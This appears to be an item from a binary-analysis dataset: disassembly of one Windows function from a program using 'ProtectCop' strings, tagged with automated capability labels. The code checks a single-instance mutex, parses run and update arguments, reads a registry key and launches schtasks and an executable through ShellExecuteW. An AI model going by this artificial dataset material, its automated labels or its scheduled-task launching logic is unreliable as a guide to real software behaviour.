Function at 0x415aa0
Capabilities:
Check mutex on windows
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x467566
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x459c
call fcn.0044f9c0
mov eax, dword [0x4835f0]
xor eax, esp
mov dword [esp + 0x4598], eax
push ebx
push esi
push edi
mov eax, dword [0x4835f0]
xor eax, esp
push eax
lea eax, [esp + 0x45b0]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x4398]
push eax
mov esi, ecx
xor ebx, ebx
push ebx
mov dword [esp + 0x30], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x4394]
push ecx
lea ecx, [esp + 0x24]
call fcn.0040bad0
mov dword [esp + 0x45b8], ebx
mov edx, dword [esp + 0x20]
push 0x5c
push edx
call fcn.0044ae60
add esp, 8
cmp eax, ebx
jne 0x415b31
or eax, 0xffffffff
jmp 0x415b37
sub eax, dword [esp + 0x20]
sar eax, 1
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x28]
call fcn.00409e70
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x45bc], 1
call fcn.00402ad0
mov byte [esp + 0x45b8], 0
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415b80
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x20]
push ecx
push 0x104
push 0x4882d8
call fcn.0044acec
mov edx, dword [esi + 0x48]
add esp, 0xc
push edx
lea ecx, [esp + 0x18]
call fcn.0040bad0
mov byte [esp + 0x45b8], 2
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jne 0x415c62
call fcn.0042aab0
test eax, eax
je 0x415c40
call fcn.00434084
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x415bdc
push 0x80004005
call fcn.00401200
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
push str.ProtectCop
lea ecx, [esp + 0x1c]
push 0x471e94
push ecx
mov byte [esp + 0x45c4], 3
call fcn.004012d0
mov esi, dword [esp + 0x24]
add esp, 0xc
push ebx
push ebx
push esi
push str.schtasks
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [esi - 0x10]
mov byte [esp + 0x45b8], 2
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x4163f8
push 5
push 0x4882d8
push str._run0
push str.ProtectCopuck.exe
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x416404
cmp dword [eax - 4], 1
jle 0x415c79
mov ecx, dword [eax - 0xc]
push ecx
lea ecx, [esp + 0x18]
call fcn.004010b0
mov eax, dword [esp + 0x14]
lea edx, [eax + 2]
cmp edx, ebx
jne 0x415c84
xor eax, eax
jmp 0x415c9f
mov eax, edx
lea esi, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x415c90
sub eax, esi
sar eax, 1
push eax
push edx
lea ecx, [esp + 0x1c]
call fcn.004029b0
lea edi, [esp + 0x14]
call fcn.00409de0
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jle 0x415e06
push 0x2f
push eax
call fcn.0044ac65
add esp, 8
cmp eax, ebx
je 0x415e06
mov ecx, dword [esp + 0x14]
sub eax, ecx
sar eax, 1
cmp eax, 0xffffffff
jle 0x415e06
cmp dword [ecx - 0xc], ebx
jg 0x415cee
or eax, 0xffffffff
jmp 0x415d08
push 0x2f
push ecx
call fcn.0044ac65
add esp, 8
cmp eax, ebx
jne 0x415d02
or eax, 0xffffffff
jmp 0x415d08
sub eax, dword [esp + 0x14]
sar eax, 1
push eax
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x1c]
call fcn.00409e70
mov byte [esp + 0x45b8], 4
mov eax, dword [esp + 0x14]
cmp dword [eax - 0xc], ebx
jle 0x415dba
push 0x2f
push eax
call fcn.0044ac65
add esp, 8
cmp eax, ebx
je 0x415dba
mov ecx, dword [esp + 0x14]
sub eax, ecx
sar eax, 1
cmp eax, 0xffffffff
jle 0x415dba
mov esi, dword [ecx - 0xc]
cmp esi, ebx
jg 0x415d54
or eax, 0xffffffff
jmp 0x415d6e
push 0x2f
push ecx
call fcn.0044ac65
add esp, 8
cmp eax, ebx
jne 0x415d68
or eax, 0xffffffff
jmp 0x415d6e
sub eax, dword [esp + 0x14]
sar eax, 1
sub esi, eax
dec esi
push esi
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x1c]
call fcn.00414f50
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x45bc], 5
call fcn.00402ad0
mov byte [esp + 0x45b8], 4
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415dba
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x24]
mov eax, dword [ecx + 0xb0]
add ecx, 0xa8
lea edx, [esp + 0x18]
push edx
push eax
call fcn.004368a6
mov byte [esp + 0x45b8], 2
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415cb3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x415cb3
mov esi, dword [esp + 0x24]
mov eax, dword [esi + 0xb0]
lea edi, [esi + 0xa8]
lea ecx, [esp + 0x14]
push ecx
push eax
mov ecx, edi
mov dword [esp + 0x30], edi
call fcn.004368a6
mov eax, dword [esi + 0xb0]
cmp eax, ebx
mov byte [esp + 0x1e], 0
mov byte [esp + 0x1f], 0
jle 0x416168
xor eax, eax
jmp 0x415e47
mov edi, dword [esp + 0x28]
cmp eax, ebx
jl 0x416332
cmp eax, dword [edi + 8]
jge 0x416332
mov edx, dword [edi + 4]
lea eax, [edx + eax*4]
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.00402a60
lea edi, [eax + 0x10]
add esp, 4
mov dword [esp + 0x70], edi
mov byte [esp + 0x45b8], 6
mov ecx, str.PARAMETER
mov eax, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x415ea8
cmp dx, bx
je 0x415ea4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x415ea8
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x415e82
xor eax, eax
jmp 0x415ead
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x415ec1
mov eax, dword [esi + 0x48]
push ebx
push ebx
push eax
call fcn.00433c91
jmp 0x41611a
mov ecx, str.RENAME_UPDATE
mov eax, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x415eee
cmp dx, bx
je 0x415eea
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x415eee
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x415ec8
xor eax, eax
jmp 0x415ef3
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x415f0f
push esi
call fcn.004168b0
test al, al
je 0x41611a
mov byte [esp + 0x1e], 1
jmp 0x41611a
mov ecx, str.RUN1
mov eax, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x415f3c
cmp dx, bx
je 0x415f38
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x415f3c
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x415f16
xor eax, eax
jmp 0x415f41
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4160dd
call fcn.00434084
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
je 0x415bd2
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x45b8], 7
call fcn.0042aab0
neg eax
push 1
push ecx
sbb eax, eax
add eax, reloc.OLEAUT32.dll_SysReAllocString
mov ecx, esp
mov dword [esp + 0x20], esp
push str.SOFTWAREProtectCop
mov dword [esp + 0x3c], eax
call fcn.0040bad0
lea esi, [esp + 0x34]
call fcn.004268a0
cmp eax, ebx
je 0x415fea
push ecx
mov ecx, esp
mov dword [esp + 0x1c], esp
push 0x471f0c
call fcn.0040bad0
push ecx
mov ecx, esp
mov dword [esp + 0x6c], esp
push 0x471f10
mov byte [esp + 0x45c4], 8
call fcn.0040bad0
mov byte [esp + 0x45c0], 7
call fcn.00426c30
call fcn.0042aab0
test eax, eax
je 0x416078
call fcn.00434084
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
je 0x415bd2
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
push str.ProtectCop
lea ecx, [esp + 0x1c]
push 0x471e94
push ecx
mov byte [esp + 0x45c4], 9
call fcn.004012d0
mov esi, dword [esp + 0x24]
add esp, 0xc
push ebx
push ebx
push esi
push str.schtasks
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [esi - 0x10]
mov byte [esp + 0x45b8], 7
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x416095
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x416095
push 5
push 0x4882d8
push str._run2
push str.ProtectCopuck.exe
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [esp + 0x38]
mov byte [esp + 0x1e], 1
mov byte [esp + 0x45b8], 6
call fcn.00402940
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
mov dword [esp + 0x30], VariantInit
mov dword [esp + 0x34], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41611a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x41611a
mov ecx, str.RUN2
mov eax, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x41610a
cmp dx, bx
je 0x416106
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x41610a
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x4160e4
xor eax, eax
jmp 0x41610f
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x41611a
mov byte [esi + 0xcc], 1
lea eax, [edi - 0x10]
mov byte [esp + 0x45b8], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41613e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, byte [esp + 0x1f]
mov esi, dword [esp + 0x24]
mov ecx, dword [esi + 0xb0]
inc al
mov byte [esp + 0x1f], al
movsx eax, al
cmp eax, ecx
jl 0x415e43
cmp byte [esp + 0x1e], 0
jne 0x416404
call fcn.00434084
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x416182
push 0x80004005
call fcn.00401200
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x18], eax
push str.ECTCOP
push str.PROT
lea ecx, [esp + 0x20]
push 0x4707dc
mov bl, 0xa
push ecx
mov byte [esp + 0x45c8], bl
call fcn.004012d0
mov esi, dword [esp + 0x28]
add esp, 0x10
push esi
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, dword [esp + 0x24]
mov dword [edi + 0xa4], eax
test eax, eax
je 0x4162f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4162f4
mov edx, dword [sym.imp.USER32.dll_DefDlgProcW]
xor eax, eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x40], edx
call fcn.004390f8
mov eax, dword [eax + 8]
mov dword [esp + 0x4c], eax
call fcn.004390f8
mov eax, dword [eax + 0xc]
push 0x7f00
push eax
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [esp + 0x54], eax
xor eax, eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x3c], 0x808
mov dword [esp + 0x48], 0x1e
mov dword [esp + 0x58], eax
call fcn.004390f8
mov eax, dword [eax + 8]
lea ecx, [esp + 0x3c]
push ecx
push str.32770
push eax
call dword [sym.imp.USER32.dll_GetClassInfoW]
lea edx, [esp + 0x3c]
push edx
mov dword [esp + 0x64], str.NSVCPRTCP
call fcn.0043168d
lea eax, [esp + 0x68]
push eax
mov dword [esp + 0x6c], 8
mov dword [esp + 0x70], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, edi
call fcn.0043b077
push 0
call fcn.0043c0ec
add esp, 4
push 0x471f6c
mov ecx, edi
call fcn.0043c5bf
lea ecx, [esp + 0x74]
push ecx
call fcn.00417090
lea edx, [esp + 0x74]
mov byte [esp + 0x45b8], 0xb
mov ecx, edx
mov dword [edi + 0x20], edx
call fcn.004362d6
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x45bc], bl
call fcn.00416480
jmp 0x4163e0
push 0
push str.NSVCPRTCP
call dword [sym.imp.USER32.dll_FindWindowW]
push eax
call fcn.0042ecf0
mov ebx, eax
mov dword [esp + 0x24], ebx
test ebx, ebx
je 0x4163e0
push 9
mov ecx, ebx
call fcn.00431e89
mov ecx, dword [ebx + 0x20]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov edx, dword [esp + 0x28]
cmp dword [edx + 8], 0
jg 0x416337
call fcn.00433f65
mov eax, dword [edx + 4]
mov eax, dword [eax]
lea ebx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x416340
sub eax, ebx
sar eax, 1
je 0x4163e0
cmp dword [edx + 8], 0
jg 0x416360
call fcn.00433f65
mov eax, dword [edx + 4]
mov eax, dword [eax]
lea edx, [eax + 2]
jmp 0x416370
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x416370
mov ebx, dword [esp + 0x28]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
lea esi, [edi + 0xc0]
mov dword [edi + 0xc4], edx
mov dword [esi], 0x30a
cmp dword [ebx + 8], 0
jg 0x4163a4
call fcn.00433f65
mov eax, dword [edi + 0x48]
mov ecx, dword [ebx + 4]
add eax, 2
push eax
call fcn.0040bc80
cmp dword [ebx + 8], 0
jg 0x4163be
call fcn.00433f65
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov ecx, dword [esp + 0x24]
push esi
push 0
mov dword [edi + 0xc8], eax
mov edx, dword [ecx + 0x20]
push 0x4a
push edx
call dword [sym.imp.USER32.dll_SendMessageW]
mov esi, dword [esp + 0x18]
lea eax, [esi - 0x10]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov byte [esp + 0x45b8], 2
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x416404
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x45b8], 0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41642c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x45b8], 0xffffffff
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x416457
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x45b0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4598]
xor ecx, esp
call fcn.0044a6e6
mov esp, ebp
pop ebp
ret